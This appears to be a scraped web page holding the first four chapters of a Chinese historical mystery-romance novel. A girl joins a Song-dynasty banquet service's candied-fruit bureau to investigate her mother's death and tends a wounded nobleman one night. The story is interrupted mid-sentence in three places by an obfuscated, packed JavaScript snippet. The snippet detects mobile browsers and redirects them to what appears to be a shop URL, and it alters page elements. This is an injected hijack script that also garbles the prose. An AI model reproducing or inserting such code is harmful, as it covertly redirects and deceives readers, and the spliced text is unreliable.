《四司六局打工记》 1. 蜜煎局始 崇宁二年冬,鹅毛大雪,天寒地冻。 东京开封府的孟家为老夫人办六十大寿,大摆筵席,广迎宾客。 就在寿宴结束之际,府里意外发生了一桩命案。 死者并非孟家之人,而是当日在孟府承办孟老夫人寿宴的四司六局里的一位女子。 此女子未满四十,身世清白普通,家中只有一位沉默寡言的跛脚丈夫和他们尚未及笄的小女儿。 未等上报官府,孟家主母便一口咬定死者乃是自缢而亡,并迅速封锁消息,将与之有关的家仆全部发卖。 碍于孟家权势滔天,不论是死者的亲人还是四司六局中人,都对此无能为力。 此事便在大雪纷飞中销声匿迹。 半年之后,初夏时节。 这日,蜜煎局掌事姜佩兰领了个俏生生的小姑娘进了屋。 小姑娘个头不高,身量纤纤,身着普通的素色襦衫,乍一看十分不打眼,但她肤色瓷白,双眸圆亮,所过之处还会留下一股若有若无的药草香,又让人见之难忘。 “四司六局素来是伺候达官贵人们的,我这蜜煎局平日里不过是做些蜜饯、点心的活计,说大不大,说小也不小。” 姜佩兰在前头走着,说话间又想到了什么,不禁目露担忧地回头看了眼身后单薄可怜的小姑娘。 “今穗,你既来了这儿,便先安心当差,其余的事……就莫要胡思乱想了。” 今穗微微福身,嘴角努力地扯出了一个浅淡的笑容:“今穗明白,多谢兰姨关心。” 姜佩兰伸手拍了拍今穗的瘦削的肩膀,便没有再说什么。 二人一同进屋,扑面而来一股甜腻的香气。 蜜煎局为各类宴会提供蜜饯点心,东京崇尚奢靡之风,因此呈在权贵面前的糕点需得格外精致、稀罕。 无需承办宴席的闲暇之时,蜜煎局的任务就是研究各种新奇的点心。 “今儿我们蜜煎局来了新人。”姜佩兰微微提高嗓音对着屋内的众人说道,“今穗是我远方表妹家的孩子,母亲走得早,实在可怜我就留她在这儿干活,大家平日里多多照拂她一下。” 姜佩兰与今穗的母亲洛绾君乃是旧相识,她先前已与今穗知会过,进入蜜煎局,须隐去姓氏,忘记出身,只称作是她的远房亲戚,无依无靠,被可怜收留。 “今穗,你有什么不懂的可以多问问。从今往后,你同大家一样喊我佩兰姑姑就好。”姜佩兰叮嘱道。 “是,佩兰姑姑。”今穗乖巧应声,又向蜜煎局的众人问好,“今穗见过各位哥哥姐姐,请哥哥姐姐们多多指教。” 女孩声音轻柔,面容沉静,乖巧到让人都不忍与她大声说话,再想到她的身世,更加让人心生怜爱。 蜜煎局里年轻男女众多,看起来都与今穗年纪相仿。 大家见新来了这么个白白净净的小姑娘,稀罕得不得了,全都一股脑地围上来,跟今穗七嘴八舌地打招呼。 今穗也似乎没想到蜜煎局的人会这般热情友善,她来时心里还忐忑得不行,现下她也逐渐放松下来。 屋里一下子热闹得如同集市,姜佩兰无奈,她如今虽作为掌事但也不大管事,没想到大家还是这般爱凑热闹的性子。 “云从,你来教教今穗。”姜佩兰把今穗安顿好就先行离开了。 接着一个面若冠玉、气质温润的男子笑呵呵地朝今穗走来:“今穗妹妹,跟我走吧。” 今穗跟着云从走到了一处案桌前,长桌上琳琅满目摆着不少瓜果以及面粉、白糖之类的食材,除此之外还有一些形状精美的糕点,看起来十分可口诱人。 “你刚来,就先从简单的做起。”云从在面前的长桌上扫视一番,最终将目光定格在了刚采回来的莲蓬上,“那就先做个糖霜玉蜂儿吧。” “糖霜玉蜂儿?”光听名字也听不出个名堂来,今穗疑惑问道。 “哎呀,通俗点说就是糖莲子。” 今穗若有所思地点点头。 “糖霜玉蜂儿呢就是用糖霜和莲子做成的蜜饯。这莲蓬里的白色莲子就像是蜂房里的蜂蛹一样,因此唤名‘玉蜂儿’。”云从娓娓道来,颇有书塾里教书先生的范儿,今穗也认真听讲,十分投入。② 云从一边说一遍指导今穗动手做。 “这第一步就是把莲子剥出来洗净。” 今穗仔细地将莲子一粒一粒地从莲蓬中剥离,莲子白嫩,但剥莲子之人格外细致,竟没有损坏半分,每一颗都圆润饱满,稳稳当当放在瓷碗中。 “莲子洗干净了就放到锅中煮熟,大火一刻钟左右。” 今穗依言照做。 糖莲子的做法其实非常简单,接下来在锅中煮糖并加入莲子不停翻动就可以了。 但她每一步都认真至极,外人看来就像是在烹饪一道宫廷御宴上的佳肴。 约摸过了一刻钟左右,清甜芳香的糖霜玉蜂儿就热乎乎地出锅了。 “自己先尝尝。” 今穗拿起一颗糖莲子品尝,入口先是一股铺天盖地的甜味,再一咀嚼,便是莲子的清甜之气四溢。 她怔住了,自己第一次做的蜜饯竟这般美味。从前兰姨来家中做客,也会带些点心上门,她次次都爱不释手,因此她常常会缠着母亲问兰姨何时再来。 如今,她也能亲手做出这样的蜜饯了。 时过境迁,她也经历了许多事,内心又是五味杂陈。 云从初为人师也是非常尽职尽责:“整体还不错。” 他一边咀嚼品味一边指出她的缺漏之处:“不过还有两处不足,一是白糖过多,入口后甜味有余,掩盖了莲子的特色;二是翻炒莲子时手法欠缺,导致糖霜包裹得不够均匀,也会影响口感。 本以为自己做得已经够好了,没想到还有这么多细节之处需要注意,今穗内心感叹一道简单的糖莲子竟也有这么多讲究。 “咱们四司六局是专门伺候达官贵人的,自然方方面面都要精益求精。” 富家权贵的要求这般高,那母亲曾经在茶酒司当差时又该是怎样如履薄冰的处境。 今穗内心不禁顿生凄凉之意。 见这个初来乍到的小姑娘莫名被一股低落的情绪笼罩,云从又忍不住安慰道:“你第一次做成这样已经很厉害了,慢慢学就好。” 今穗朝云从点点头,眸中闪烁出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019225|148680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坚毅的神色:“我会努力学习的。” 小姑娘这般上进,云从也略显动容,他从桌子杂乱的角落里翻出了一本纸张都已经泛黄的册子,把它递给了今穗:“喏,这可是我的独家秘笈,轻易不示人的,看在你这么好学的份儿上就送给你吧。” 今穗接过那本皱皱巴巴的册子,随意翻看了一下,里面的字迹十分潦草,她面露疑惑但还是连忙道谢:“多谢师父。” 女孩清脆婉转的声音像丝丝细雨砸在他的心上,特别是这一声“师父”令他十分愉悦:“那你先照着这个册子自己学一下,有不懂的再来问我。” 云从笑得一脸不值钱的样子,还沉浸在那一声“师父”当中。 “是,师父。”今穗脆生生应道,云从脸上的笑意更盛了。 她捧着那本小册子开始埋头研究,虽然里面的字迹潦草了些,但经过她的仔细辨认还是顺利地理解了其中的意思。 这本册子似乎没有什么编排顺序,她翻开第一页只见上面写着“荔枝”二字,粗略地看了下有足足十余页都在讲荔枝的各种做法。 今穗看着有些头晕眼花,她长这么大都没尝过荔枝是什么味儿,而那些富贵人家却能吃出这么多花样来。 她微微叹气,这册子图文并茂很是生动形象,看着看着竟也让人沉迷其中。 不等她深入研究这本册子,云从又忽然想起了什么用手敲了敲桌子提醒道:“哦对了,咱们蜜煎局的规矩是一日掌握一种技法。你方才既已学了糖莲子,那你还得做出与之类似的蜜枣儿、青梅蜜煎……” 听云从报菜名般说了这么一长串,今穗这才回过神来,只得先将手中的小册子妥帖地收起来,再继续去忙活。 有了先前云从的指点,今穗接下来也得心应手许多,步骤都大差不差,她也越来越熟练。 日暮西山之时,一直在案桌前忙碌的小姑娘终于有了片刻喘息的机会,她用袖子擦了擦额间的汗,坐下稍微休息了会儿。 看着满满当当一桌子的蜜饯,今穗也格外心满意足。 蜜煎局的人已经走了大半,往日里云从总是走得最早的那一个,今日倒是为着新来的小徒弟多留了片刻。 “为师先走了啊,隔壁菜蔬局的王兄还等着我去吃酒。”云从见小姑娘累得满头大汗也关心道,“天色已晚你也早些回去休息吧,其余的明日再说。” 说完,云从就迅速地收拾好东西一溜烟离开了。 外面的天黑透了,蜜煎局里也只剩下今穗一个人。 她麻利地将用过的厨具和食材都收拾好,又将今日刚做好的一些蜜饯整齐地摆放在一起。 屋内安静到落针可闻,今穗双手托腮在窗前的桌子边静静地坐了会儿。 月光透过窗子洒满她装满心事的眼眸,在月亮的清辉下,单薄瘦小的背影更显凄凉。 直到日落时分做完桌上的这些蜜煎,今穗才对自己真正进入了蜜煎局有了实感,这意味着自己为找到那个罪魁祸首,为母亲沉冤得雪这件事踏踏实实地迈出了第一步。 这个时辰,四司六局内早已空无一人,她独自锁好蜜煎局的门,一身轻松地踏上了回家的路。 2. 乔家医馆 今穗家住界身北巷,巷子口就是她爹乔逊开了十余年的医馆。 医馆规模很小,堪堪容纳三两个病人在堂内看诊,以及抓一些常见的药材。 乔逊是附近出了名宅心仁厚的跛脚大夫,时常会为一些穷苦人家免费看诊抓药,甚至偶尔会入不敷出,还好街坊邻居有什么头疼脑热的小毛病都会上医馆来,也算是关照乔家的生意。 街边琳琅满目的商铺早已点起昏黄的烛火,坊市之间车水马龙,热闹非凡。 今穗从相国寺一直往北走,路过东税务街、高头街,到了姜行后巷,这里的脂皮画曲妓院还是如往常一般歌舞升平,再往旁边走才是界身北巷,巷子口的铺面还未关门,仔细走近一瞧,方可看见“乔家医馆”的牌匾。① 今穗进屋的时候,乔逊还在柜台后面看账本。 “爹,夜里就别看账本了,仔细看久了伤眼睛。”今穗柔声提醒道。 柜台后面的人闻声抬头,瞬间露出了笑容:“岁岁回来了。” 乔逊拄着拐杖从柜台后慢吞吞地走出来,拉起今穗的手就往后屋走:“晚膳用了没,想吃什么爹爹去给你做。” 父女俩搀着手穿过院子来到堂屋,今穗拗不过连忙回道:“晚膳已用过了,爹爹不用忙活了。” 二人在堂屋内对坐,今穗又去沏了一壶茶,热滚滚的茶水倒进瓷杯里,升腾起一股热气,模糊了对面人的面容。 “时下虽已入夏,但夜晚仍是寒凉,爹喝杯热茶暖暖身。”今穗关切道。 热茶入口,乔逊似乎整个身子骨都活络起来:“今日在蜜煎局可还适应?” “还算适应,蜜煎局的伙伴们也都很友好。”今穗回忆了这一整天的所见所闻,“昨日我还担心害怕着,但经过这一天,女儿觉得进入蜜煎局是特别正确的选择。” 今穗谈起这件事时神情极其认真,对面的乔逊却显得面容悲戚,几番欲言又止后彻底沉默下来。 “爹,你别担心,女儿会平安无事的,定会亲手将杀害娘的凶杀送入大牢。”今穗握着乔逊冰凉的手,语气格外坚定。 “唉。”乔逊忍不住叹气,“你娘那会子在孟家老夫人的寿宴上当差,你又正巧去山里采药,四司人把她送回来时,尸身都凉透了。” 距洛绾君遇害已过去了小半年,如今回忆起来还是这般让人痛不欲生。 “若真如你所说绾君她是被害的,你可知那寿宴之上都是何等的世家权贵,凶手真在他们其中,你又如何抗衡?”乔逊想到这些就悲痛至极,说话间都带了几分颤抖。 “娘定是被他人所害!”今穗斩钉截铁道,神情逐渐变得狠厉决绝。 洛绾君亡故后,不知是从哪里来的风言风语说她在孟老夫人寿宴上狐媚世家子弟,攀龙附凤,被主家捉奸在床,才羞愧割腕自缢。 她的尸身被送回乔家时,全身上下除了一些淤青,就只有右手手腕处有一道极深的伤口,再加上洛绾君虽年近四十却依旧惹人注目的样貌身段,桩桩件件似乎都在一一印证这些谣言。 今穗当然对这些半个字都不信:“像娘这般温柔和善之人,家人亲朋俱在,若不是逼不得已又怎会选择割腕了结自己。” 说到这儿,她的手都微微颤抖起来。即使父女俩当时就有所怀疑,但苦于世家勋贵权势滔天,自己又无半分证据,还是申冤无门。 家中小半年来一直都被阴霾笼罩,今穗做梦都想为母亲沉冤得雪,试了许多法子都行不通,直到她求着姜佩兰把她带进了蜜煎局,她才感到自己离那些权贵更近了一分,也终于有了些许头绪。 “爹你放心吧,女儿自有分寸。”她的情绪从激动转为平静。 乔逊虽担心女儿,但也只好无奈点头。 父女二人各自回到卧房歇息,月上中天,院子里的桂花树郁郁葱葱,浓密的树影摇曳在今穗的窗前,摇曳在女孩即使入睡了也难以抚平的眉头上。 夜里似乎起风落雨了,今穗睡前忘记将卧房的窗户关严实,此时传来了嘎吱嘎吱的声响,她很快就迷迷糊糊地被吵醒。 今穗摸黑起身来到窗前,正当她准备伸手关窗时,一道身手矫健的黑影欺身而入。 那人左手一把揽住今穗并眼疾手快地捂住了她因惊吓想要尖叫的嘴巴,右手顺手将窗子关紧,瞬间隔绝了满院的疾风骤雨。 这黑衣人堵着她的嘴,今穗浑身惊恐本能地挣扎,难不成自己这是遭遇入室劫匪了? 她挣扎间挣脱了此人捂在她嘴上的左手,刚想高声大喊“救命”,却又注意到此人腰间佩刀,此举恐招杀身之祸,她硬生生地压抑住了自己想要大叫的冲动并强迫自己快速冷静下来。 今穗本想继续挣脱此人的束缚,但奈何他力道之大,多番挣扎还是被牢牢地扣在怀中,难以动摇半分。 挣扎无果,她想着尝试和这人沟通一番,看看能否有转机:“你、你为何而来,有任何需求我们可以慢、慢慢商量。” 她表面看起来十分镇定自若,但内心早已慌乱无措,说话声音颤抖了许多都不自知。 “我、我……”这人声音低沉沙哑,断断续续只说出了个“我”字,似乎在隐忍些什么,“我来……求、求医。” 搞半天今穗才弄明白他说了什么,但这下更奇怪了,哪有人是半夜三更、风雨交加之时这般模样来求医的? 她回头看了一眼这个声称“求医”之人,他大半张脸被黑色的面巾覆盖,被雨水浸湿后包裹在轮廓分明的脸上,只露出一双紧闭的双眸,纤长而浓密的睫毛不住地颤抖,时有水珠滚落。 这人的状态似乎不太好。 今穗在周身粗略地观察了下,只见自己挣扎时手肘抵在这人的左侧小腹处,似有鲜血不断流出。她连忙拿开了自己的手,身后之人明显缓和了一口气。 “你若来求医,哪有把大夫扣着的道理。况且我这样,也无法为你看诊。”今穗见这人似乎不为所动,鼓起勇气接着说道,“这里是天子脚下,我虽只是平头百姓,但草菅人命之事也是断断容不得,你若想动我最好考虑清楚。” 身后之人有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019226|148680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后知后觉,他慢慢地松了手中的力道,还不忘跟她道歉:“冒犯了,姑娘。” 他好像没什么力气,说话轻声细语的,若不是屋内安静,恐怕只有将耳朵凑到他嘴边才能勉强听清。 今穗从他的怀中离开,见这人不似穷凶极恶之徒,情绪也稍微平复了些。但在这雨夜随身带刀又腹部受伤,慌不择路闯入她家这无名小医馆求医,这外头怕是前有埋伏后有追兵。 “我爹说医穷不医恶,况且我也没学过什么医术,你遇到我算是倒霉了。”今穗这话说得不假,她从小到大只是跟在乔逊身边耳濡目染了些许,没怎么正经学过,让她独立给人看诊确实勉强了。 但眼下这人似乎也没有别的去处了,他撑起身子,忍着疼痛看向对方:“在下既非穷人更非恶人,求……医仙略施医术救我一命,他日定当百倍千倍报答。” 说话之人刻意强调了“医仙”二字,仿佛在唇齿间碾磨了几番才说出口来,听着格外意味深长。 “我可担不起你这声医仙。”今穗言语间颇有调侃之意,二人之间的氛围也轻松许多。 她上前仔细查看了他腹部的伤势,刀口不算深,没有伤及要害,只是没及时处理血流不止。 这人血液流失过多又淋了雨,浑身发冷是肯定的,今穗先从柜子里抱出了一床厚厚的被褥放在他身边:“还有力气吗?你外衫都湿透了得先脱掉,盖这床被子暖和一下。” “谢谢……”他用手肘撑地半支起身子,接着双手颤抖着去解衣服。 今穗先在自己房间的橱柜里找了一会,没找到有用的东西,她就准备去药堂里找找看。 外面雨势渐小,雨水从屋檐滴落在院子里响起滴滴答答的声音。 药堂内漆黑一片,今穗翻箱倒柜找了半天,才找到一瓶刀伤散和一些止血止疼的药方。这乔家医馆平日里诊的都是风寒发热的病人,如今接待了这样一个腹部受伤的蒙面黑衣人,属实是让人为难。② 今穗粗略瞧了那些方子上所需的药材,估摸着都有,但临时煎药捣药太慢了,只能先拿那瓶现成的刀伤散顶顶。 她又取了些纱布,才揣着药回到卧房,那人已将潮湿的外衣脱下放在一旁,将厚被褥严严实实地盖在身上。 “我们家这医馆太小,只找到一瓶刀伤散,我先帮你简单处理一下,等天亮了再让我爹帮你仔细看看。” 今穗跪坐在那人身边,掀开被子的一角准备帮他上药,凑近了才发现,这人只着一件单薄里衣,隐约勾勒出优越的身材轮廓,蒙面的黑色布巾也被取下,露出了一张清俊无双的脸。 倒是颇有姿色。 今穗心里想着手上的动作也没停,她先用剪子将伤口附近的衣物剪开,然后用干净的布小心翼翼地把周围的血迹擦干净,接下来就是上药。 她犹豫了一下:“准备上药了,若是疼,你稍微忍耐一下。” “无妨。” 今穗试着撒了一点药粉在伤口上,男人忍不住闷哼了一声,喘息间都好像承受着极大的痛苦。 3. 荔枝膏水 见状,今穗似是有些不忍,停下了手里的动作,她在腰间摸索了一番,取出了今日从蜜煎局带回来的几颗糖莲子一把塞进了男人的嘴里。 他没有一点防备,但是舌尖很快就被一股甜味侵占,这人意识混沌,脑袋晕乎乎地想着这莫不是什么灵丹妙药,吃了以后就感觉伤口没那么疼了。 今穗也没有解释,接着给他上药。上完药包扎好伤口,男人几乎没了动静,也不知是疼晕过去了还是累得睡着了,所幸血也止住了,气息也还算平稳。 管不了这么多,她帮那人盖好被子就自顾自回到床榻上休息,明日还要早起去蜜煎局当差。 第二日今穗准时准点起床,却看见窗子下已没了那黑衣人的踪影,只剩下被子整齐地叠放在原地,上面还留了一张字条,写着“裴国公府裴樾”的字样,不过她完全没在意,随手放在一旁就赶着出门了。 清晨的街道上还未有什么行人,她一路畅行无阻地到了蜜煎局。 屋内不出所料空无一人,今穗刚到也不闲着,她对照着昨日云从给她的小册子,开始准备今日大致所需的瓜果食材与厨具。 既然这册子前十页都是与荔枝有关的,索性今日就学这个,得把这整整十页都摸熟吃透。今穗在心里默默给自己鼓劲。 她去四司六局的冰窖中取了一些荔枝过来,这些荔枝都是从岭南运过来的,经过各种手段保鲜,但是路途遥远从外壳看颜色都暗沉了。 即使是已经不算新鲜的荔枝,对今穗来说也是个稀罕物件,她小心翼翼地拿起一颗剥了壳,露出里面晶莹剔透的果肉,她将荔枝放在掌心凑近观察了一会,似乎还能闻到一股若有似无的清香。 她的馋虫都被勾起来了,自己还从来没有吃过荔枝呢,她鬼使神差地将掌心那颗纯净无暇的玉球放进口中咀嚼,轻轻地咬了第一口就汁水四溢。 正在她准备进一步咀嚼时,蜜煎局的门突然被推开了,云从打着哈欠漫不经心地走进来:“来得这么早啊小徒弟。” 今穗口中还含着没吃完的荔枝,现在吐也不是咽也不是,要是被师父发现自己偷吃会不会有麻烦? 她含糊地回应了一句:“师父早。” 云从没听清今穗叽里咕噜说了什么,还以为自己没醒酒,身子朝今穗的方向侧了侧:“你说啥,为师可能还有点醉没听清。” 今穗又含糊且快速地说了一遍,这下云从更听不清了,他不禁侧头往身旁的小姑娘望。 只见小姑娘双唇紧珉,神色慌乱,脸颊处鼓囊囊的好像嘴里含着什么东西。 “你背着为师偷吃好吃的了?” 这下她更慌乱了,干脆将口中剩余的部分随便嚼两下直接咽下去了:“咳咳……对不起师父,我刚刚偷吃了一颗荔枝。” 今穗越说越觉得没脸见人,把头埋得更低了。 云从看了眼桌上刚从冰窖中拿出来的一小碗荔枝,心下了然:“害,吃了一颗荔枝又没啥,没事没事,不用这样。” 浑身紧绷的小姑娘听见这话似乎放松了一点,但还是有点小小的担心。 “为师刚来蜜煎局那会儿哪见过这么多好东西,自己私下里肯定吃不起这些,我就每样偷吃一点,来这里的好处不就是这个嘛,我懂你。”云从继续安慰道,“等你在这待久了也能像为师一样了。” 今穗稍稍抬头:“待久了就能像师父一样管住自己的嘴了?” 云从神秘地摇了摇头:“不,待久了就能像为师一样……挑更好吃的偷吃了。” 闻言,今穗有些错愕,回过神来又觉得十分好笑,一旁的云从已经笑得前仰后合,陆续进来的人见云从这般似乎早已司空见惯,路过的姐姐摸了摸今穗的头解释道:“小今穗别管他,他整日里都这般不着调,大家都习惯了。” 她乖乖地点了点头,那人见今穗这任人摆弄的乖巧模样更是心痒痒,又多摸了两把。 今穗看了看一旁的师父,又看了看面前的这个姐姐,懵懵的。 人来得差不多了,大家也陆陆续续忙活起来。 “别愣着了,今日准备学什么?” 今穗连忙翻开小册子的第一页递到云从的面前:“这个,师父你看如何。” 云从瞥了一眼自己曾经随手写下的心得笔记,现在被小姑娘视若珍宝一般反复翻看学习。 他心头微动,顿了一下回道:“那就这个吧,不过荔枝是稀罕之物,冰窖里的荔枝归果子局管,平日里稍微多拿几颗就跟动了那帮人祖坟似的,惯会找佩兰姑姑告状。若是短缺了不妨用寻常瓜果代替,学个大概即可。” 今穗听完若有所思地点了点头。 关于荔枝的做法,册子上记录得有详有略,主要包括了蜜煎荔枝、红盐荔枝、间道糖荔枝、白晒荔枝等等,还有一种没有荔枝的荔枝膏水。① 红盐需腌制,白晒也得花时间密封百日,这两种做法都需很长时日,看来得暂时放一放。至于间道糖荔枝,不过是在普通蜜饯的基础上多了一些色彩变化,形成杂色荔枝蜜饯。② 这么一看,这个小册子上来就是十页的荔枝做法,看起来很唬人,其实都是万变不离其宗。 今穗思忖着,似乎想明白了些什么,动手将碗中仅有的几颗荔枝做成了荔枝蜜煎。做好了,自己一边吃着一边思考着下一步。 一旁的云从见原来勤勤恳恳的小姑娘现在却悠哉悠哉地吃着自己亲手做的蜜饯,定定地望着某个方向出神,思绪都不知道飘到哪里去了。 他走过去从今穗手里无比自然地拿起一颗就放进嘴里品尝:“嗯……着实不错,再多分为师点。” 说着,云从就直接伸手去拿,然而今穗却眼疾手快地躲开,将仅剩的一点全都护在怀中,可怜巴巴地望向对方:“师父,我就剩这么一点了。” 瞧着今穗这般护食,失了素来的乖巧模样,云从都气笑了:“行了行了,不抢你的,瞧你那样儿。” “方才想什么呢,那么出神。”云从岔开话题。 “我在想没了荔枝该怎么办。”今穗颇为苦恼。 云从拿起她曾经随手写的小册子,思考了一会:“荔枝向来是有钱人家吃得,普通人吃不上却也想尝尝味儿,所以就有了荔枝膏水。” 听了这番话,今穗仿佛灵光乍现一般,说话间都兴奋了许多:“既然荔枝稀缺,我不如试试这个荔枝膏水,还可以研究研究有没有别的法子可以仿荔枝的味道。” 云从也露出了一副“孺子可教也”的满意表情。 “先将乌梅洗净去核,再将肉桂磨粉……乌梅和肉桂……”今穗口中念念有词。 乌梅和肉桂都是比荔枝要易得许多的瓜果,这两种结合起来为何口感会神似荔枝呢?今穗有些想不明白,还是决定先动手摸索一番。 这道荔枝膏水所需的食材有些繁杂,她估摸着得先到果子局和香药局跑一趟。 果子局就在蜜煎局隔壁的屋子。 今穗过去的时候,屋内的姑娘们都在说说笑笑,好不热闹。 她一进屋,也没人理她,都在各说各的话。她就随便拉了其中一个姑娘问:“冒昧打扰,敢问这儿可否有乌梅和肉桂二物?” 那人闻言怪异地瞥了今穗一眼,眼神里的敌意也不知从何而来。倒是今穗有些摸不着头脑,自己难不成又无意间犯了什么忌讳? 直到这时,果子局内的众人才注意到今穗的存在,其中一个看起来年长些的女子面色不虞地走过来:“你是何人?来我这果子局做甚?” 这人应当就是果子局的掌事施窈,今穗曾听云从提起过,施窈为人心高气傲,是四司六局掌事里最不好相与的一位。 仅在这果子局待了片刻,今穗就见识到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019227|148680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,如今既是有求于人,那也不得不好声好气地回应:“我是蜜煎局的人,云从遣我来取些乌梅和肉桂回去做蜜饯。” 听她提起云从,屋内一小半人似乎反应有些不同寻常。 “哦?蜜煎局何时来了这么个花容月貌的姑娘。”施窈特意强调了“花容月貌”一词,颇有些咬牙切齿的意味。 这果子局掌事对她一个素未谋面之人说话如此夹枪带棒,今穗也品出其中的味道了,眼睛滴溜溜一转就有了主意,她刻意装作谄媚讨好的摸样:“小的蒲柳之姿自是比不上施窈姐姐风华绝代,我这笨手笨脚之人,家中无亲人依靠才被佩兰姑姑收留在蜜煎局做些粗活。若是有冒犯的地方,还请姐姐莫要怪罪。” 听今穗这么说,施窈脸色明显缓和了几分,她盯着今穗打量了一会,似是在探究这话里的虚实,幸而今穗从神情到姿态都毫无破绽,过了好一会施窈才松口:“都在那儿,自己拿吧。” 今穗瞬间松了一口气,但还是做戏做全套,不忘语带讨好地道谢:“多谢施窈姐姐。”施窈没再搭理她。 她去角落堆放瓜果的篮子里找了一番,最初对她爱答不理的那人却在此时凑上来,态度与先前判若两人:“劳累妹妹跑一趟,我送你回去吧。”她身后也有几个姑娘望着这边,似是蠢蠢欲动。 那人完全不给今穗反应的机会,一把抢过她手里的果篮,推搡间就把她“送”出了门。 二人一同回到蜜煎局,云从看着今穗后面跟着的人也颇为诧异。然而那人见了云从,瞬间两眼放光,开始缠着云从东扯西扯。 今穗更摸不着头脑了,她忽然想起香药局还没去呢,刚回来她又立马出门了,可是等她再回来的时候,却发现那人还在和云从说话,今穗满脸震惊加不解。 昨日摸她头的姐姐又贴心地解释道:“这云从整日里人模狗样的,果子局的姑娘一定是被他那副皮囊迷惑了。”今穗也连连点头表示赞同。 那边,云从终于将人打发走,长舒了一口气就跑过来找今穗算账:“你你你,哼!” 云从似乎气得不轻,整个人都面红耳赤,他“你”了半天也没说出个所以然来,偏偏今穗还一直用她那双水灵灵的大眼睛无辜地望着他,让他更不忍说什么重话,只好作罢。 今穗自顾自去做荔枝膏水了,她先将乌梅和肉桂处理好,再把二者放入锅中熬煮至水剩一半,接着滤去渣滓,加入白糖。待白糖化开,又倒入姜汁继续熬到水剩一小半,再过滤一遍,加入麝香、蜂蜜,熬至浓稠如膏。③ 做成了荔枝膏水,今穗从中舀了一勺用水冲服。这膏水刚一进入口中确实颇有些荔枝的清香,但仔细品尝后却又觉得与昨日她吃的那颗味道大不相同。 她颇为费解,又舀了一勺品尝,还是一样的感受。她不禁又产生了一个疑惑:若是普通人从来没吃过荔枝,又怎会知道这荔枝膏水是否有荔枝味呢? 况且不同的人做荔枝膏水时手法、食材、剂量都有所差异,味道应当也不尽相同,是否与荔枝味相似更有待商榷了。 云从见她皱着眉头想了半天,才出声指点:“这道荔枝膏水的关键不在于味道是否神似真正的荔枝,而在于它存在的意义。” 闻言今穗眉头皱得更深了。 云从不紧不慢接着说道:“这荔枝膏水做法比普通蜜饯繁复,原料也不算常见,对于普通人来说并不是日日都吃得起,但反观有钱人,他们本就吃得上真的荔枝,更无需这种赝品了。” 听完云从的一番话,今穗茅塞顿开一般,终于想明白了:“所以说荔枝膏水其实不管对穷人还是富人都只是图个新鲜,它的味道与荔枝是否相似并不重要,重要的是它名字中含有荔枝却不是用荔枝做的,很新奇。” 至此,今穗对蜜饯这一事物有了更深的理解,也终于对蜜煎局的作用有了进一步的认知。 4. 长宁郡主 裴国公府。 清晨天色将亮未亮之时,裴樾一身黑衣,不声不响地回了落雁居。 游默见自家世子这般装束回府,又带了一身的伤,心疼得不行,他搀扶着裴樾进屋躺在床榻上,又立马遣人去唤了府内的郎中来为他医治。 落雁居内好一通手忙脚乱,将近晌午时分才慢慢平息下来。郎中为裴樾重新处理了伤口,对游默仔细叮嘱一番后才离开。 游默垂头丧气地将郎中送出了落雁居,又赶忙回房内照看裴樾,回去的路上他还是百思不得其解,自家主子为什么放着好好的富贵世子不当,偏要去做什么吃力不讨好的提刑官。多少次查案后弄得一身伤回来,长公主和国公爷都劝了无数回了,但世子还是一意孤行。 每次世子不让他跟着独自出门办案时,他就得提心吊胆,寝食难安。 游默内心颇有怨念,回到世子床边,接过了下人递来的瓷碗,小心翼翼地伺候裴樾服用汤药。 黑乎乎的药汁似是过于苦涩,裴樾喝了几口就忍不住皱眉,转过身去表示不愿再喝。 见状,游默真是气不打一处来,实在没办法他又吩咐下人送来一碟蜜饯。 裴樾用看傻子的眼神看着游默,他倒是毫不在意,好说歹说高低要说服世子把药喝了。裴樾嘴里实在是苦涩难耐,十分不自然地吃了几颗蜜饯才消解了几分苦味。 嘴里越来越甜,裴樾的动作忽然顿住,此刻的感受忽然与记忆中的某个场景重合,口中的蜜饯似乎……与昨夜那位姑娘塞在自己嘴里的东西一般味道。 他独自沉默了一会,原来那时吃的不是什么灵丹妙药,就是普通的蜜饯而已,可为何自己会觉得吃下去就不觉得痛了。 在裴樾陷入沉思的工夫,游默趁机把满满一碗的药汁都喂完了,等某人后知后觉满嘴苦味时,又抢着去拿游默手里的蜜饯,游默看着心情都愉悦了不少。 “你替我留意一下,近日是否有拿着一张我亲笔字条登门的姑娘,若有,第一时间告知我。”裴樾波澜不惊地吩咐道。 “是。”游默一开始还没反应过来,“姑娘……等等,姑娘!” 世子啥时候背着自己跟“姑娘”这个词沾上关系了?游默十分震惊,内心也在为世子越来越多的事情不告诉自己而抹泪。 